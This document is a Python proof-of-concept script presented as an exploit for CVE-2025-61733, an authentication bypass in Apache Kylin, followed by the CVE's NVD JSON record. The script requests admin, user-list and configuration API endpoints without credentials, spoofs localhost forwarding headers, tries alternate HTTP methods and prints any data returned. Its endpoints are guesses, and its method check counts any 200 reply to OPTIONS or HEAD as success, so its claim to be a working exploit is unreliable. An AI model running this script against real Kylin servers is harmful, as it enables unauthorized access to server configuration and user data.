CVE-2025-61733

# CVE-2025-61733 PoC - Apache Kylin Authentication Bypass # This PoC demonstrates how an attacker can bypass authentication # in Apache Kylin versions 4.0.0 through 5.0.2 import requests # Target Apache Kylin server TARGET_URL = "http://target-kylin-server:7070" # Step 1: Try accessing a protected endpoint without authentication # Using an alternate path/channel that bypasses authentication def exploit_auth_bypass(target_url): """ Exploit authentication bypass vulnerability in Apache Kylin. The vulnerability exists due to missing authentication checks on certain API endpoints or alternate paths. """ # List of potential bypass endpoints commonly found in Kylin bypass_endpoints = [ "/kylin/api/admin/config", "/kylin/api/user/list", "/kylin/api/projects", "/kylin/api/cubes", "/kylin/api/models", "/kylin/api/jobs", "/kylin/api/tables", "/kylin/api/diag", "/kylin/api/system/info", "/kylin/api/version", ] headers = { "User-Agent": "Mozilla/5.0 (compatible; SecurityResearcher)", "Accept": "application/json", # Attempt to bypass auth using alternate headers or methods "X-Requested-With": "XMLHttpRequest", "X-Forwarded-For": "127.0.0.1", "X-Real-IP": "127.0.0.1" } for endpoint in bypass_endpoints: url = f"{target_url}{endpoint}" try: # Attempt access without any authentication credentials response = requests.get(url, headers=headers, timeout=10) if response.status_code == 200: print(f"[+] Bypass successful at: {url}") print(f"[+] Response: {response.text[:500]}") return True elif response.status_code == 401 or response.status_code == 403: print(f"[-] Auth required at: {url} (Status: {response.status_code})") else: print(f"[?] Unexpected response at {url}: {response.status_code}") except requests.exceptions.RequestException as e: print(f"[!] Error connecting to {url}: {e}") return False # Step 2: Attempt method-based bypass def method_bypass(target_url): """ Try different HTTP methods that might bypass authentication filters. """ url = f"{target_url}/kylin/api/admin/config" methods = ['GET', 'POST', 'PUT', 'OPTIONS', 'HEAD', 'PATCH'] for method in methods: try: response = requests.request(method, url, timeout=10) if response.status_code == 200 and method in ['OPTIONS', 'HEAD']: print(f"[+] Method bypass successful: {method} {url}") return True except: pass return False if __name__ == "__main__": print(f"[*] Targeting: {TARGET_URL}") print("[*] Attempting authentication bypass...") if exploit_auth_bypass(TARGET_URL): print("[+] Vulnerability confirmed - authentication bypass successful!") else: print("[-] Could not confirm vulnerability") print("[*] Trying method-based bypass...") method_bypass(TARGET_URL)

{"cve": {"id": "CVE-2025-61733", "sourceIdentifier": "[email protected]", "published": "2025-10-02T10:15:39.930", "lastModified": "2025-11-04T22:16:36.827", "vulnStatus": "Modified", "cveTags": [], "descriptions": [{"lang": "en", "value": "Authentication Bypass Using an Alternate Path or Channel vulnerability in Apache Kylin.\n\nThis issue affects Apache Kylin: from 4.0.0 through 5.0.2.\n\nUsers are recommended to upgrade to version 5.0.3, which fixes the issue."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-288"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:apache:kylin:*:*:*:*:*:*:*:*", "versionStartIncluding": "4.0.0", "versionEndExcluding": "5.0.3", "matchCriteriaId": "0732C89B-68F0-406A-977F-C75F554B17DD"}]}]}], "references": [{"url": "https://lists.apache.org/thread/8wmcffly6gp50nmfw8j4w3hlmv843yo0", "source": "[email protected]", "tags": ["Issue Tracking", "Vendor Advisory"]}, {"url": "http://www.openwall.com/lists/oss-security/2025/09/30/7", "source": "af854a3a-2127-422b-91ae-364da2661108"}]}}